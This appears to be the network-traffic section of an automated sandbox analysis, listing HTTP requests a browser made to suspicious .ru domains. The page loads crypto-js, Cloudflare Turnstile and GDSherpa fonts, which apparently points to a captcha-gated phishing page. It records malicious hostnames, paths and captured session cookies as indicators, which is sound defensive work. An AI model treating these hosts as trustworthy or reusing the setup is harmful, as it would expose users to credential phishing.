Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /7PIWi2mf/ HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=UP1XqruMP7_UliPoe0MlVRXwD83bCiB52.JgwQr2cKM-1742392164-1.0.1.1-heL0vrrJUKpGRM_Rf47KR3L2g8A8EzNdLIYKDvPwCW_4KDtq3uJPwG_G3yvsYEESE8hOZFb5n7AGomZO9gqUMDaNeJFUnLVZ9WfAwGPza88
Source: global traffic	HTTP traffic detected: GET /kabutar$hfrbm HTTP/1.1Host: pct4ja.qxwhvv.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://behy.jsrjesdc.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kabutar$hfrbm HTTP/1.1Host: pct4ja.qxwhvv.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7PIWi2mf/ HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://behy.jsrjesdc.ru/7PIWi2mf/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkpWMjF4aGJlMDl6RW9PM3VCbkQ5QUE9PSIsInZhbHVlIjoicjhNUnQzMGtGd0hyZ1d3ejB0OVRpcExzOENQYmQ1SWw2elY2T1JoQ2F6VURnYmdzWXVQa2RRZ25HVytDZG0xb09ycDhMK2NRM2x2bHBSTVhHa0Q0NEIzWW9VR1V3S0M3b3BrV2FPQllyR0c4SVluNmNwVFk4TjErQlM0YklTRkQiLCJtYWMiOiI2ODQxM2U0MzcyZDJkNTQ0OTQ3MzYyZjQ4MWM3ODE0MGYyMDgyZmY5YTY2NzQyNDljMWY1MmIzMzQzMjE3NTZmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQZFd3NExNYXd1WXlUbnV0SXRrb3c9PSIsInZhbHVlIjoiVzdubm4yYzFMRGFaQzBLWjVLOE52YU9DMlJMZkVnNFhYck9ZdTg0RlhlMnVDUm1NL3UxamE5SFpqQUZ5UXFBTDFjbHlxZmtmam14eTNUUHlUelRRK2F4ZmNGRHN1eTVUSVh3RjI5dWJVa3FrQmVQRWZ3OFFQc1N5bFZIckxVMTAiLCJtYWMiOiJjN2I0NTdmMDM4MmYxZDljNDU3ZDkzYWJkNmI2NzRiYzU0MTVkNWY2YzBlMGU0ZGIyYTQyNGFiMmJmYTJiNDExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkpWMjF4aGJlMDl6RW9PM3VCbkQ5QUE9PSIsInZhbHVlIjoicjhNUnQzMGtGd0hyZ1d3ejB0OVRpcExzOENQYmQ1SWw2elY2T1JoQ2F6VURnYmdzWXVQa2RRZ25HVytDZG0xb09ycDhMK2NRM2x2bHBSTVhHa0Q0NEIzWW9VR1V3S0M3b3BrV2FPQllyR0c4SVluNmNwVFk4TjErQlM0YklTRkQiLCJtYWMiOiI2ODQxM2U0MzcyZDJkNTQ0OTQ3MzYyZjQ4MWM3ODE0MGYyMDgyZmY5YTY2NzQyNDljMWY1MmIzMzQzMjE3NTZmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQZFd3NExNYXd1WXlUbnV0SXRrb3c9PSIsInZhbHVlIjoiVzdubm4yYzFMRGFaQzBLWjVLOE52YU9DMlJMZkVnNFhYck9ZdTg0RlhlMnVDUm1NL3UxamE5SFpqQUZ5UXFBTDFjbHlxZmtmam14eTNUUHlUelRRK2F4ZmNGRHN1eTVUSVh3RjI5dWJVa3FrQmVQRWZ3OFFQc1N5bFZIckxVMTAiLCJtYWMiOiJjN2I0NTdmMDM4MmYxZDljNDU3ZDkzYWJkNmI2NzRiYzU0MTVkNWY2YzBlMGU0ZGIyYTQyNGFiMmJmYTJiNDExIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/7PIWi2mf/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktLMm4wRTVQUTMzWTVXWnBwZG1md2c9PSIsInZhbHVlIjoiUFBic3AwWTQxZE52OFpvelFEM1JJRFNSK3hnN0FNQS9LRXZmQjN2cFhWdmFpM2NSZHhaZ21tOFEvbjI0SEVOT3JsTUkvV0VIMW15bjN6ZU93NWw4Y3ZNckZtMzhsNUQ0UXJMT2dONGZWZkVDTjllUy9OMGIzNzNtSTh1eWExVFoiLCJtYWMiOiJmOGYyZDUzNzQwNWY3YmUwZjM5YTRjMzIxNGRlYzE0NjhhNTUxMjg4Mzk4N2UwMWFhZjA0OGM5MWJhOWZkN2QxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJ4OTBJdTlGdTRhS0dwVjV4Vk9paVE9PSIsInZhbHVlIjoidHJ0OVdKdmcwdlRwcmlLWkNydEdxamFRamNvMDRTV216cDZzWUhTT1NSUlEzTnVSNWJnaU12NldkYndOb3EyUkJpTFZKMGFtNk5MZFRYUGxZa1UwZlIyWWtFbTYvV2pEL2x3aGhCSTUvZDJLRXpuM0NST3dqZlFpWDI4N3ZqZEEiLCJtYWMiOiI4ZmVhMDdkMDBkOTcwMTQ2MmEzOWM0YjQ1NmVhYzYzODJmZWE0NTMxNjQwNmQxNTc3ZTBlOTE1NGY5MTZiYTMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqMHiYH6TrbP1joQZFS2wqf62x2ghz0nP0jzmioljy HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkV1WVNRZ21yM1pzYTV5UDVRK3JMMWc9PSIsInZhbHVlIjoid2xkcWhSaE9iTEZIYzc4TEJaS1RNMi9yVU1wdGkrRWFBdVZpKzVpT3pOMmZzaUZqU3hNY3dEM2haVmYzMnZ5cDFtRmpUenpzak90cTVGUHZHZURZc0J6VSt3ZFpPY05sVU50YVBwYldPaHpUVXZwMWk4bGEwVjdRNDN0Mnd6ZDIiLCJtYWMiOiIyNjYyMmViZjAyYjM4YTBjZTkyMTE4NTQyNjRhNGI2ODFmNmRhNWUwZDkwZmQzYjgzMjkwMDA1OGJjMTliZGU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkrTTlUSjQ2bjhTNWlZcWk0cW8zcFE9PSIsInZhbHVlIjoiWVFZSXUrUTJsMERIR2k5Z3FGRXFoU1p1ZnNHWEh3QXBiS3VuVkIxclo2NEdPUFNVV29xSVVCSUtPNFFaYzdvb1Zhc0V4eUpuRTV3Ujl1aXpvRHZ2WnFvSHRVenNIbWNtZ25MZ3ltLzRrK3hDbGU5bFYzc21pMmdFRDJIeE0yckQiLCJtYWMiOiJlMTM2NWJmZjhiNjc0M2NkODkwYTMxZjlhM2RiZmNmZjY4NzhlN2ZhYzQzYmM0YTBmN2Q4ZmIzYWFjZDVkMTAxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://behy.jsrjesdc.ru/7PIWi2mf/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkV1WVNRZ21yM1pzYTV5UDVRK3JMMWc9PSIsInZhbHVlIjoid2xkcWhSaE9iTEZIYzc4TEJaS1RNMi9yVU1wdGkrRWFBdVZpKzVpT3pOMmZzaUZqU3hNY3dEM2haVmYzMnZ5cDFtRmpUenpzak90cTVGUHZHZURZc0J6VSt3ZFpPY05sVU50YVBwYldPaHpUVXZwMWk4bGEwVjdRNDN0Mnd6ZDIiLCJtYWMiOiIyNjYyMmViZjAyYjM4YTBjZTkyMTE4NTQyNjRhNGI2ODFmNmRhNWUwZDkwZmQzYjgzMjkwMDA1OGJjMTliZGU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkrTTlUSjQ2bjhTNWlZcWk0cW8zcFE9PSIsInZhbHVlIjoiWVFZSXUrUTJsMERIR2k5Z3FGRXFoU1p1ZnNHWEh3QXBiS3VuVkIxclo2NEdPUFNVV29xSVVCSUtPNFFaYzdvb1Zhc0V4eUpuRTV3Ujl1aXpvRHZ2WnFvSHRVenNIbWNtZ25MZ3ltLzRrK3hDbGU5bFYzc21pMmdFRDJIeE0yckQiLCJtYWMiOiJlMTM2NWJmZjhiNjc0M2NkODkwYTMxZjlhM2RiZmNmZjY4NzhlN2ZhYzQzYmM0YTBmN2Q4ZmIzYWFjZDVkMTAxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34RK4DICgWUTznbabQQp8A8920 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xy6iyAYh6ursqutHef30 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveOrigin: https://behy.jsrjesdc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
